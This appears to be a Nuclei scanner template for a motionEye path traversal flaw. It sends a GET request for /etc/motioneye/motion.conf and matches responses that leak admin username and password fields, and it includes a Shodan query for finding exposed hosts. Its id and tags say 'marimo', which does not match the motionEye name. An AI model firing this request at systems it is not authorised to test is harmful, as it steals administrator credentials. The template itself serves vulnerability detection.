marimo-unauth: motionEye Partial - Authentication Bypass

id: marimo-unauth

info:
  name: motionEye Partial - Authentication Bypass
  author: pussycat0x
  severity: critical
  description: |
    A path traversal vulnerability allows unauthenticated attackers to access protected resources and bypass authentication controls.
  impact:
    Attackers can steal administrator credentials without logging in, potentially leading to full administrative account compromise.
  reference:
    - https://github.com/advisories/GHSA-phv5-334h-mxcw
  metadata:
    max-request: 2
    shodan-query: http.title:"motionEye"
  tags: marimo,unauth,misconfig


http:
  - raw:
      - |
        GET /movie/1/playback//etc/motioneye/motion.conf HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

    matchers:
      - type: dsl
        dsl:
          - "status_code == 200"
          - "contains_all(body, 'admin_username','admin_password')"
        condition: and
# digest: 4a0a004730450220369d151e2bd440607a6b043f9728341aa54c664663b7f2fc21de6d9bf831ac44022100bce90dd98b98be18529e96ea52917dd348bc140bdfc59dd519f67d1dcbf4c747:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.